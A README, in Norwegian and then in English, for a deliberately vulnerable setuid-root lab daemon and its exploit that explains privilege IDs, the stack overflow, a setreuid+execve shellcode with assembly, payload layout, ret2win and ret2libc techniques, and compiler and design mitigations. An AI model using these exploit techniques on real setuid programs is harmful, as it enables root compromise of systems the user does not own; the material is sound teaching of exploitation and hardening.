# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit)
En ledsager til hovedlaboratoriet (`food` / `fooc`, en vanlig daemon der et
bufferoverløp gir deg en *bruker*-shell). Dette legger til den farligste
én-tegns-endringen i Unix: **setuid-biten**.
> `chmod u+s` forvandler «angriperen kan kjøre kode på denne verten» til
> «angriperen kan kjøre kode som **root** på denne verten».
Den setningen er hele laboratoriet. Alt nedenfor er mekanismen under den, skrevet
ned, slik at du når du skriver din egen programvare, vet nøyaktig hvilke to eller
tre filsystem-attributter og kompilator-flag som avgjør om en
minnesikkerhetsfeil i koden din er en irritasjon eller en root-shell.
Den endelige demoen, når `foosd` er setuid-root, er en **root-shell** som åpnes
over nettverket ved å utføre 32 bytes håndskrevet shellcode.
---
## 1. Hva setuid-biten faktisk gjør
Hver prosess på Linux bærer tre user-ID-er, og setuid-biten tukler med forholdet
mellom dem:
| ID | Navn | Betydning |
|----|------|---------|
| `ruid` | reell user-ID | kontoen som *startet* prosessen |
| `euid` | effektiv user-ID | det kjernen sjekker når den håndhever tilgang |
| (saved) | lagret set-user-ID | en «sporplass» en privilegert prosess kan vende tilbake til senere |
Et vanlig program har `ruid == euid`. Når du kjører en binærfil med
setuid-biten satt, eid av root:
```text
ruid = deg (f.eks. 1000, «hanez»)
euid = eieren (f.eks. 0, «root»)
```
Prosessen har derfor **roots autoritet**, selv om brukeren som startet den er
helt vanlig. Hvert sjekkpunkt kjernen utfører — kan denne prosessen lese
`/etc/shadow`? skrive en fil? drepe en annen prosess? — besvares med `euid`,
altså «ja, den er root».
`foosd` er en nettverksdaemon. Den binder en port og `fork()`er deretter et
barn per tilkobling. En fork *arver* euid-en, så hvert barn som håndterer en
tilkobling er også root. Overløpet i `foosd`s `vulnerable_handler()` er derfor
et overløp *inne i en root-prosess*.
**Diagnostiser det selv når daemonen kjører:**
```console
$ ./foosd ... # se logglinjen den skriver ut ved start
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
og fra exploitet:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. Laboratoriet ved første øyekast
| Fil | Rolle |
|------|------|
| `foosd.c` | Den bevisst sårbare daemonen (eier feilene). Kjør som *setuid-root*-binærfil for root-shell-demoen. |
| `foosc.c` | Exploitet. Bruker som standard den 32-byte `setreuid + execve`-shellcode-teknikken. |
| `shellcode.S` | Referanse-shellcoden; `make verify` diff'er den mot byte-arrayen i `foosc.c`. |
| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gjennom et pseudo-terminal og beviser både «en shell kjørte» *og* «den var root» (`uid=0(`). |
| `Makefile` | Bygg, `setuid`/`unsetuid`-hjelpere, testmatrise. |
| `README.md` | Denne filen. |
> **Hvorfor en pty?** Exploitets siste handling er å videresende terminalen din
> til shellen som kjører på offeret. En pipe eller her-doc havner i feil ende av
> den videresendingen; en ekte terminal er påkrevd.
---
## 3. Rask start
```console
$ make # bygg alt, som din vanlige bruker
$ make setuid # én gang, spør om sudo: chown root + chmod u+s
$ make run # start foosd på 127.0.0.1:2343
$ make test-suid # full matrise; shellcode + ret2win-root skal gi root
```
Interaktiv røykprøve:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret
# exit
```
Når du er ferdig:
```console
$ make stop
$ make unsetuid # hygiene: etterlat aldri en root-SUID-binærfil
```
---
## 4. *Når skal jeg sette SUID-biten?* — svaret du ba om
Nøyaktig **én gang, etter byggingen, før du starter daemonen for
root-shell-demoene** — og bare på en maskin som er din, egnet til å kastes og
frakoblet nettverket:
```console
$ make # kompiler foosd, foosc, tester
$ make setuid # <-- ØYEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # start ETTER at du har satt biten
```
To regler som betyr mer enn det nøyaktige tidspunktet:
1. **Sett den bare når binærfilen er ferdig.** Hvis du bygger om (`make` /
`make clean`) etter at du har satt biten, treffer du «Permission denied» når
du skriver root-eide utdatafiler — og hvis du tvinger ombyggingen, gjenskaper
verktøykjeden filen **uten** `s`-en og angrer stille og rolig oppsettet. Den
kanoniske rekkefølgen ved enhver ombygging er derfor
```console
$ make unsetuid && make && make setuid
```
2. **Fjern den når du er ferdig.** `make unsetuid`. En levende,
root-eid setuid-binærfil med en utnyttbar feil i treet ditt er ikke et
læremiddel, det er et root-hull med en kompileringsfeil mellom seg og
ingenting. På en delt eller produksjonsmaskin: **ikke gjør noe av dette.**
Daemonen nekter dessuten som standard å binde noe annet enn loopback (se §7).
Hvis du kjører exploitet *uten* noen gang å sette biten, går ingenting i stykker
— payloaden lander fortsatt, og du får fortsatt en shell. Forskjellen er i ett
tall, og exploitet sier det høyt:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
«Virket, men ikke root»-resultatet er selv en del av laboratoriet. Husk det til
neste avsnitt.
---
## 5. Mekanismen — og vrien som gjør SUID interessant
### 5.1 Overløpet (identisk med `food`)
`foosd`s handler gir et `read()` 512 bytes tillit, mens den rekker den et
64-byte stack-buffer:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */
```
På x86-64 vokser stacken nedover. Exploitet skriver 64 bytes søppel for å fylle
`buf`, 8 for å fylle den lagrede rammepekeren og 8 til for å erstatte den
**lagrede returadressen**. Når `vulnerable_handler` utfører `ret`, popper CPU-en
angriperens verdi inn i `RIP` — angriperkontrollert kodeutførelse. Exploitet
finner den nøyaktige avstanden (88 bytes for denne builden) ved å parse
`objdump`-utdata i stedet for å hardkode den, så tallet overlever ombygginger.
### 5.2 Vrien: shellen nekter å være root
Her er det der å tenke «SUID-feil → spawn /bin/sh → root» ville gått galt, og
hvorfor dette laboratoriet har nøyaktig den formen det har.
Når et setuid-root-program kjører, er `ruid` fortsatt den startende brukeren, og
`euid` er root. Hvis programmet — eller angriperen — nå starter en shell:
* `execve("/bin/sh")` endrer **ikke** u-id-ene; den nye prosessen arver
`(ruid=1000, euid=0)`.
* bash (og dash) **sjekker nøyaktig den tilstanden ved start**. Fra
bash-manualen: *«If the shell is started with the effective user (group) id
not equal to the real user (group) id, and the -p option is not supplied, …
the effective user id is set to the real user id.»*
Så shellen ser på seg selv og *dropper root* — et forsvar
shell-forfatterne bygde nøyaktig mot dette angrepet (den historiske
begrunnelsen var setuid-shell-/setuid-skript-problemet). Resultatet er
«virket, men ikke root»-tilfellene:
| Teknikk | Hva den utfører | Resulterende uid |
|-----------|------------------|---------------|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landet, root nullstilt av bash |
| `ret2libc` | `system("/bin/sh")` → fersk `sh -c '/bin/sh'` | **1000** — samme nullstilling, ett nivå ned |
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C |
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode |
De to som når root, skiller seg fra de to som ikke gjør det, med nøyaktig én idé:
**de rydder den *reelle* uid-en, ikke bare den effektive.**
```c
setuid(0) /* setter euid til 0, men ruid forblir 1000:
bash ser fortsatt euid != ruid og nullstiller FORTSATT. */
setreuid(0, 0) /* setter BEGGE: ruid = euid = 0.
bash ser like uid-er og beholder root. */
```
Det er derfor den klassiske `/bin/sh`-shellcoden du finner overalt på nettet,
starter med et uid-ryddende syscall — og grunnen til at shellcoden her er 32
bytes i stedet for 23: de første fem instruksjonene er
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Så hva er exploitet, fra ende til annen?
1. `foosc` leser `foosd`s banner over socketen. Det får:
- `ids=0/1000` — euid/ruid (SUID-selvdiagnosen)
- `stack=…` og `libc=…` — pekere (ASLR-leaksene)
- `BUF=…` — den nøyaktige adressen på bufferen den er i ferd med å renne over
2. Fra målbinærfilen (via `objdump`) lærer det `rip_off` og adressene til
`win()` / `win_root()`.
3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et minnesøk) måler det
offsetene for `system`, `read`, `/bin/sh` og et `pop rdi; ret`-gadget —
ingenting er hardkodet.
4. Det setter sammen payloaden. For `-t shellcode` er det:
`[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`.
5. `foosd`s `read()` renner over; `ret` lander på shellcoden; kjernen utfører
`setreuid(0,0)` (helt greit: euid 0 er privilegert) og deretter `execve` av
`/bin/sh`. bash starter med `ruid == euid == 0` og forblir root.
6. `foosc` videresender terminalen din til den root-shellen, til du skriver
`exit`.
Én bekvemmelighetsdetalj som koster folk mye tid hvis den overses: exploitet
tester hver uid-ryddende adferd **uten** først å trenge setuid-biten. Kjør
`make test` før `make setuid`, så ser du hver teknikk lande en shell mens
`ROOT=MISSING` står; kjør `make test-suid` etter `make setuid`, så dukker
`ROOT=SEEN` opp ved de to teknikkene som rydder den reelle uid-en. Den A/B-en er
hele leksjonen, utført på ti sekunder.
---
## 6. De gamle one-linerne — og hvorfor de fleste av dem er døde
Har du lest om SUID, har du lest om `PATH`-kapring, `LD_PRELOAD` og
setuid-shells. Alle tre er klassiske, og alle tre feiler på et moderne system
mot *dette programmet*. Det er verdt å vite nøyaktig hvorfor, fordi grunnene er
forsvarene du får gratis:
| Angrepsklasse | Gammel påstand | Hvorfor den feiler på en moderne maskin |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` av et ondsinnet bibliotek | «Setuid-programmet laster min `.so` og kjører koden min som root.» | Kjernen merker en setuid-binærfil som **AT_SECURE**; glibc ignorerer deretter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *upålitelig input*. `LD_PRELOAD` mot en setuid-binærfil er en no-op. |
| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | «Pek PATH mot en mappe med min falske `ls`; root-programmet kjører den.» | Et annet ansikt av samme forsvar: en AT_SECURE-prosess får en **sanert `PATH`** (en sikker standard, omtrent `/usr/local/bin:/usr/bin:/bin`) for `system()`/`execvp`, så den forgiftede mappen konsulteres aldri. |
| Setuid-`system()`-kommandoinjeksjon | «Den injiserte kommandoen kjører med euid 0.» | `system()` kjører kommandoen i en fersk `/bin/sh`, og den shellen — §5.2 — nullstiller `euid = ruid` ved start. Den injiserte kommandoen utføres med den *reelle* uid-en. (Det er fortsatt en feil; den eskalerer bare ikke lenger gjennom `/bin/sh`.) |
| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | «Kjør den, få root.» | Nøyaktig forsvaret ovenfor, og det er grunnen til at moderne distroer ikke leverer noen setuid-root-shell. Selv når du lykkes med å lage én, nekter bash å beholde euid 0 med mindre den startes med `-p`. |
Det som forblir i live, og det er dette laboratoriet: **programmet er *allerede*
root når det kjører.** Du trenger ikke miljøet eller `system()`; du trenger at
programmet utfører *din* kode (via en minnekorrupsjonsfeil) mens det er
privilegert, og at koden din er omhyggelig nok til selv å rette opp
uid-mismatchen — `setreuid(0,0)` — før den overrekker deg en shell.
Minnekorrupsjon + SUID er kombinasjonen som fortsatt ender i `uid=0`, noe som er
nøyaktig hvorfor minnesikre språk, canaries og no-execute-stacker ikke er en
moteavgjørelse.
---
## 7. Sikkerhetsgelenderne som er bygget inn i daemonen
`foosd` er bevisst det *dårligste* stykket programvare i dette repositoriet, så
det bærer også flest gelendere:
1. **Bare loopback, håndhevet.** `foosd` nekter enhver bind-adresse utenom
loopback, med mindre du gir `-L`. En setuid-root-listener på et ekte
grensesnitt er en fjern root-tjeneste; avslaget er standarden, så den
farlige tilstanden må skrives inn bevisst.
2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kjører som
root, så konsollen viser den tilstanden exploitet avhenger av.
3. **Loggen når aldri klienten.** Daemonen reserverer en privat
logg-descriptor før sockets erstatter fd 1, så crash-reporter-utdata og
interne stier ikke kan leses tilbake over ledningen av angriperen.
4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den verdien
angriperen skrev inn i returadressen — så en vellykket kapring er synlig i
`foosd.log` i stedet for å være en stille død.
5. **`make unsetuid`.** Fjerning av biten er scriptet, fordi å etterlate den
satt er feiltilstanden folk faktisk har.
---
## 8. Mottiltak — hva hvert stopper, og hva det *ikke* stopper
Anvendt på `foosd` via `make hardened`, én om gangen eller sammen:
| Mottiltak | Hva det stopper | Hva det *ikke* stopper |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | Overløpet: `ret` oppdager en smadret canary og aborter, før angriperens adresse brukes. Stopper her **alle fire** teknikkene — de deler det ene sårbare `read()`-et. | Ingenting ved *designet*: binærfilen er fortsatt setuid-root; en annen feil (format-streng-`%n`, heap-overflow, use-after-free) har ingen canary å utløse. |
| `-fPIE -pie` (ASLR for binærfilen) | Bruk av forutsigbare `win()`/`win_root()`-adresser (ret2win-teknikkene). | Shellcode-teknikken, hvis en stack-adresse fortsatt lekker (`BUF=`-linjen). |
| `-z noexecstack` (NX / W^X) | Shellcoden: CPU-en nekter å hente instruksjoner fra en data-only-side, så et hopp til `buf` er et SIGSEGV. | ROP — å kjøre kode som allerede finnes (`ret2libc`). |
| Alle tre sammen | En vanskelig-å-renne-over, randomisert binærfil med ikke-kjørbar stack. Slik ser en normal hardet build ut. | Setuid-biten. **En hardet SUID-binærfil er fortsatt en SUID-binærfil.** Hvis noen nåbar minnesikkerhetsfeil overlever, er det fortsatt «feil i en root-prosess». |
Konsollbeviset er `make test-hardened`, som bytter den hardnede builden inn og
viser alle teknikkene dø ved canaryen, mens `foosd_hardened.log` fanger
`*** stack smashing detected ***`.
To mottiltak på designnivå som ingen kompilator-flag leverer, og som
hovedlaboratoriet (`food`) også bruker:
- **Minste privilegium.** En daemon for en uprivilegert port (2343 > 1024) har
intet legitimt behov for root. En korrekt `foosd` ville binde og deretter
`setgroups`/`setgid`/`setuid` til en uprivilegert konto og *bekrefte at det
holdt* (den korrekte versjonen står i kilden som `drop_privs()`, aldri kalt —
ikke-kallingen er laboratoriets feil nr. 3).
- **Begrens read-et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje
overgår hvert kompilator-flag i tabellen.
---
## 9. Wire-protokollen (så du kan lese daemonen med netcat)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — kunne ikke skrives ut som `euid=`/`ruid=`, fordi
test-harnessen beviser en shell ved å greppe etter det bokstavelige `uid=`, og
banneret må ikke inneholde det (en sonde som deler signatur med svaret, er en
klassisk falsk-positiv-felle; se kommentaren i `foosd.c`). Harnessen krever
dessuten den strenge `id`-utdataformen — `uid=NNN(...)` — så ingenting
daemonen eller exploitet skriver ut kan oppfylle sjekken ved en tilfeldighet:
`foosc`s eget «target euid=… ruid=…» inneholder `uid=` som delstreng, noe som
en gang fikk en hardnet test til å melde en shell som aldri hadde kjørt.
* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lar shellcode og ret2libc beregne
eksakte adresser.
---
## 10. Øvelser
1. **Betrakt ikke-root-nedgraderingen.** Kjør `make test` *før* `make setuid`,
og deretter igjen etterpå. Forklar `ROOT=SEEN`-endringen med
ruid/euid-historien i §5.2.
2. **Les krasjet.** Kjør `./foosc -t demo -n` og les deretter `foosd.log`.
Linjen `RIP=0x4141414141414141` er angriperens padding — beviset på at
overløpet, ikke uhell, kontrollerer utførelsen.
3. **Legg til canaryen.** `make hardened` og endre selv `test-hardened`-løkken;
logglinjen `*** stack smashing detected ***` er forsvaret som virker.
4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ut, bygg om, og se
`-t shellcode` gå fra deterministisk til et gjettespill. Den ene linjen er
grunnen til at ekte ASLR-bypasser er et helt felt.
5. **`-p`-eksperimentet.** Endre i en kopi av `win()` `execl("/bin/sh", "sh",
NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er
den dokumenterte nødutgangen fra shellens vakt — og grunnen til at rådet
«spawn bare en shell» fra gamle write-ups er ufullstendig.
6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til å kalle `setuid(0)`
i stedet for `setreuid(0,0)` (syscall 105). Shellen lander fortsatt — og
faller fortsatt til `uid=1000`. Det er det mest lærerike
én-linjes-eksperimentet i hele repositoriet.
---
## 11. Sikkerhet og opprydding
- Bare loopback, som standard og etter design; `-L` binder lenger, og bare en
egnet-til-å-kastes VM bør i det hele tatt vurdere det.
- Dette er et root-shell-laboratorium. Ikke kjør det på en maskin som betyr
noe, og pek ikke `foosc -h` mot noe du ikke eier.
- Oppryddingsritual: `make stop` og deretter `make unsetuid`, og hvis du vil ha
treet plettfritt igjen: `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

388
suid/README.md Normal file
View file

@ -0,0 +1,388 @@
# SUID-Root RCE Lab — `foosd` (daemon) + `foosc` (exploit)
A companion to the parent lab (`food` / `fooc`, a plain daemon where a buffer
overflow gives you a *user* shell). This one adds the most dangerous
one-character change in Unix: the **setuid bit**.
> `chmod u+s` turns "the attacker can run code on this host" into "the
> attacker can run code as **root** on this host".
That sentence is the entire lab. Everything below is the mechanism underneath
it, written down so that when you write your own software you know exactly
which two or three filesystem attributes and compiler flags decide whether a
memory-safety bug in your code is a nuisance or a root shell.
The final demo, when `foosd` is setuid-root, is a **root shell** opened over
the network by executing 32 bytes of hand-written shellcode.
---
## 1. What the setuid bit actually does
Every process on Linux carries three user IDs, and the setuid bit tinkers
with the relationship between them:
| ID | Name | Meaning |
|----|------|---------|
| `ruid` | real user ID | the account that *started* the process |
| `euid` | effective user ID | what the kernel checks when enforcing access |
| (saved) | saved set-user-ID | a "slot" a privileged process may return to later |
A normal program has `ruid == euid`. When you execute a binary with the
setuid bit set and owned by root:
```text
ruid = you (e.g. 1000, "hanez")
euid = the owner (e.g. 0, "root")
```
The process therefore has **root's authority** even though the user who
launched it is completely ordinary. Every check the kernel performs — can
this process read `/etc/shadow`? write a file? kill another process? — is
answered using `euid`, i.e. "yes, it's root".
`foosd` is a network daemon. It binds a port, then `fork()`s a child per
connection. A fork *inherits* the euid, so every child that handles a
connection is also root. The overflow in `foosd`'s `vulnerable_handler()` is
therefore an overflow *inside a root process*.
**Diagnose it yourself once the daemon runs:**
```console
$ ./foosd ... # see the log line it prints at startup
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
and from the exploit:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. The lab at a glance
| File | Role |
|------|------|
| `foosd.c` | The intentionally vulnerable daemon (owns the bugs). Run as a *setuid-root* binary for the root-shell demo. |
| `foosc.c` | The exploit. Defaults to the 32-byte `setreuid + execve` shellcode technique. |
| `shellcode.S` | The reference shellcode; `make verify` diffs it against the byte array in `foosc.c`. |
| `tests/pty_suid_test.c` | Test harness. Drives `foosc` through a pseudo-terminal and proves *both* "a shell ran" *and* "it was root" (`uid=0(`). |
| `Makefile` | Build, `setuid`/`unsetuid` helpers, test matrix. |
| `README.md` | This file. |
> **Why a pty?** The exploit's last act is to relay your terminal to the
> shell executing on the victim. A pipe or here-doc lands on the wrong end of
> that relay; a real terminal is required.
---
## 3. Quick start
```console
$ make # build everything, as your normal user
$ make setuid # one-time, asks for sudo: chown root + chmod u+s
$ make run # start foosd on 127.0.0.1:2343
$ make test-suid # full matrix; shellcode + ret2win-root must give root
```
Interactive smoke test:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- you are root, on the victim
# exit
```
When you are done:
```console
$ make stop
$ make unsetuid # hygiene: never leave a root SUID binary lying around
```
---
## 4. *When should I set the SUID bit?* — the answer you asked for
Exactly **once, after building, before running the daemon for the
root-shell demos** — and only on a machine that is yours, disposable, and
off the network:
```console
$ make # compile foosd, foosc, tests
$ make setuid # <-- THE moment. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # start AFTER setting the bit
```
Two rules that matter more than the exact timing:
1. **Set it only after the binary is final.** If you rebuild (`make` / `make
clean`) after setting the bit you will hit a "Permission denied" writing
the root-owned output file — and if you force the rebuild, the toolchain
recreates the file **without** the `s`, silently undoing the setup. The
canonical sequence whenever you rebuild is therefore
```console
$ make unsetuid && make && make setuid
```
2. **Remove it when you are done.** `make unsetuid`. A live, root-owned,
setuid binary with an exploitable bug sitting in your tree is not a
learning aid, it is a root hole with a compile error between it and
nowhere. On a shared or production machine: **don't do any of this.**
The daemon also refuses by default to bind anything but loopback (see
§7).
If you run the exploit *without* ever setting the bit, nothing breaks — the
payload still lands and you still get a shell. The difference is in one
number, and the exploit says it out loud:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
That "works, but not root" outcome is itself part of the lab. Keep it in
mind for the next section.
---
## 5. The mechanism — and the twist that makes SUID interesting
### 5.1 The overflow (identical to `food`)
`foosd`'s handler gives a `read()` 512 bytes of trust while handing it a
64-byte stack buffer:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over the edge */
```
On x86-64 the stack grows down. The exploit writes 64 bytes of junk to fill
`buf`, 8 to fill the saved frame pointer, and 8 more to replace the **saved
return address**. When `vulnerable_handler` executes `ret`, the CPU pops the
attacker's value into `RIP` — attacker-controlled code execution. The
exploit discovers the exact distance (88 bytes for this build) by parsing
`objdump` output rather than hardcoding it, so the number survives rebuilds.
### 5.2 The twist: the shell refuses to be root
Here is where thinking "SUID bug → spawn /bin/sh → root" would go wrong, and
why this lab has the exact shape it has.
When a setuid-root program runs, its `ruid` is still the launching user and
its `euid` is root. If the program — or the attacker — now starts a shell:
* `execve("/bin/sh")` does **not** change the uids; the new process inherits
`(ruid=1000, euid=0)`.
* bash (and dash) **check exactly that condition at startup**. From the bash
manual: *"If the shell is started with the effective user (group) id not
equal to the real user (group) id, and the -p option is not supplied, …
the effective user id is set to the real user id."*
So the shell takes one look at itself and *drops root* — a defence the shell
authors built specifically against this attack (the historical justification
was the setuid-shell / setuid-script problem). The result is the “works, but
not root” cases:
| Technique | What it executes | Resulting uid |
|-----------|------------------|---------------|
| `ret2win` | `foosd`'s `win()` → `execl("/bin/sh")` | **1000** — shell landed, root reset by bash |
| `ret2libc` | `system("/bin/sh")` → fresh `sh -c '/bin/sh'` | **1000** — same reset, one level down |
| `ret2win-root` | `foosd`'s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid cleared from C |
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid cleared from machine code |
The two that reach root differ from the two that don't by exactly one
idea: **they clear the *real* uid, not just the effective one.**
```c
setuid(0) /* changes euid to 0, but ruid stays 1000:
bash still sees euid != ruid and STILL resets. */
setreuid(0, 0) /* changes BOTH: ruid = euid = 0.
bash sees equal uids and keeps root. */
```
That is why the classic `/bin/sh` shellcode you will find everywhere on the
internet starts with a uid-clearing syscall — and it is the reason the
shellcode here is 32 bytes instead of 23: the first five instructions are
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 So what is the exploit, end to end?
1. `foosc` reads `foosd`'s banner over the socket. It gets:
- `ids=0/1000` — euid/ruid (the SUID self-diagnosis)
- `stack=…` and `libc=…` — pointers (the ASLR leaks)
- `BUF=…` — the exact address of the buffer it is about to overflow
2. From the target binary (via `objdump`) it learns `rip_off` and the
addresses of `win()` / `win_root()`.
3. From *its own* libc (via `/proc/self/maps` + `dlsym` + a memory scan) it
measures the offsets of `system`, `read`, `/bin/sh` and a
`pop rdi; ret` gadget — nothing is hardcoded.
4. It assembles the payload. For `-t shellcode` that is:
`[32-byte setreuid+execve code][padding to RIP][ret fix][address of buf]`.
5. `foosd`'s `read()` overflows; `ret` lands on the shellcode; the kernel
executes `setreuid(0,0)` (fine: euid 0 is privileged) and then `execve`
of `/bin/sh`. bash starts with `ruid == euid == 0` and stays root.
6. `foosc` relays your terminal to that root shell until you type `exit`.
One sanity detail that costs people a lot of time if missed: the exploit
tests each uid-clearing behaviour **without** needing the setuid bit first.
Run `make test` before `make setuid` and you will watch every technique land
a shell while `ROOT=MISSING`; run `make test-suid` after `make setuid` and
`ROOT=SEEN` appears on the two techniques that clear the real uid. That A/B
is the whole lesson, executable in ten seconds.
---
## 6. The old one-liners — and why most of them are dead
If you have read about SUID, you have read about `PATH` hijacking, `LD_PRELOAD`,
and setuid shells. All three are classic, and all three fail on a modern
system against *this program*. It is worth knowing precisely why, because the
reasons are the defences you get for free:
| Attack class | Old claim | Why it fails on a modern box |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` a malicious library | "The setuid program loads my `.so` and runs my code as root." | The kernel marks a setuid binary as **AT_SECURE**; glibc then ignores `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` and friends. The environment is treated as *untrusted input*. `LD_PRELOAD` against a setuid binary is a no-op. |
| `PATH` hijack (`system("ls")` with a poisoned PATH) | "Point PATH at a directory containing my fake `ls`; the root program runs it." | A second face of the same defence: an AT_SECURE process gets a **sanitized `PATH`** (a safe default, `/usr/local/bin:/usr/bin:/bin`-ish) for `system()`/`execvp`, so the poisoned directory is never consulted. |
| Setuid `system()` command injection | "The injected command runs with euid 0." | `system()` runs the command in a fresh `/bin/sh`, and that shell — §5.2 — resets `euid = ruid` on startup. The injected command executes as the *real* uid. (It is still a bug; it just no longer escalates through `/bin/sh`.) |
| Setuid root shell on disk (`cp /bin/sh /tmp; chmod u+s`) | "Run it, get root." | Exactly the defense above, and it is why modern distros ship no setuid root shell. Even when you succeed in making one, bash refuses to keep euid 0 unless started with `-p`. |
What remains alive, and is this lab: **the program is *already* root when it
runs.** You do not need the environment or `system()`; you need the program
to execute *your* code (via a memory-corruption bug) while privileged, and
your code must be careful enough to fix the uid mismatch itself —
`setreuid(0,0)` — before it hands you a shell. Memory corruption + SUID is
the combination that still ends in `uid=0`, which is exactly why memory-safe
languages, canaries, and no-execute stacks are not a fashion choice.
---
## 7. The safety rails built into the daemon
`foosd` is deliberately the *worst* piece of software in this repository, so
it also carries the most guard rails:
1. **Loopback only, enforced.** `foosd` refuses any bind address other than
loopback unless you pass `-L`. A setuid-root listener on a real
interface is a remote root service; the refusal is the default so the
dangerous state has to be typed in deliberately.
2. **Self-diagnosis.** At startup it logs `ruid`/`euid` and whether it is
running as root, so the console shows the state the exploit depends on.
3. **The log never reaches the client.** The daemon reserves a private log
descriptor before sockets replace fd 1, so crash reporter output and
internal paths cannot be read back over the wire by the attacker.
4. **Crash reporter.** A SIGSEGV handler logs `RIP`/`RSP` — the value the
attacker wrote into the return address — so a successful hijack is
visible in `foosd.log` instead of being a silent death.
5. **`make unsetuid`.** Removing the bit is scripted, because leaving it set
is the failure mode people actually have.
---
## 8. Mitigations — what each one does and does *not* stop
Applied to `foosd` via `make hardened`, one at a time or together:
| Mitigation | What it stops | What it does *not* stop |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | The overflow: `ret` detects a smashed canary and aborts before the attacker's address is used. Stops **all four** techniques here — they share the one vulnerable `read()`. | Nothing about the *design*: the binary is still setuid root; a different bug (format string `%n`, heap overflow, use-after-free) has no canary to trip. |
| `-fPIE -pie` (ASLR for the binary) | Using predictable `win()`/`win_root()` addresses (the ret2win techniques). | The shellcode technique, if a stack address still leaks (the `BUF=` line). |
| `-z noexecstack` (NX / W^X) | The shellcode: the CPU refuses to fetch instructions from a data-only page, so jumping to `buf` is a SIGSEGV. | ROP — running code that already exists (`ret2libc`). |
| All three together | A hard-to-overflow, randomised, non-executable-stack binary. This is what a normal hardened build looks like. | The setuid bit. **A hardened SUID binary is still a SUID binary.** If any reachable memory-safety bug survives, it is still "bug inside a root process". |
The console proof is `make test-hardened`, which swaps in the hardened build
and shows all techniques dying at the canary while `foosd_hardened.log`
records `*** stack smashing detected ***`.
Two design-level mitigations that no compiler flag delivers, and that the
parent lab (`food`) uses as well:
- **Least privilege.** A daemon for an unprivileged port (2343 > 1024) has
no legitimate need for root. A correct `foosd` would bind, then
`setgroups`/`setgid`/`setuid` to an unprivileged account and *verify it
stuck* (the correct version is in the source as `drop_privs()`, never
called — the un-called-ness is Bug #3 of the lab).
- **Bound the read.** `n = read(fd, buf, sizeof(buf) - 1)`. One correct
line outranks every compiler flag in the table.
---
## 9. The wire protocol (so you can read the daemon with netcat)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — could not be printed as `euid=`/`ruid=` because the test
harness proves a shell by grepping for the literal `uid=` and the banner
must not contain it (a probe sharing a signature with the answer is a
classic false-positive trap; see the comment in `foosd.c`). The harness
additionally requires the strict `id`-output shape — `uid=NNN(...)` — so
nothing the daemon or the exploit prints can satisfy the check by
accident: `foosc`'s own "target euid=… ruid=…" chatter contains `uid=` as
a substring, which once made a hardened-build test report a shell that
had never run.
* `stack=`, `libc=`, `BUF=` — the ASLR leaks: allow the shellcode and
ret2libc to compute exact addresses.
---
## 10. Exercises
1. **Watch the non-root demotion.** Run `make test` *before* `make
setuid`, then again after. Explain the `ROOT=SEEN` change using the
ruid/euid story in §5.2.
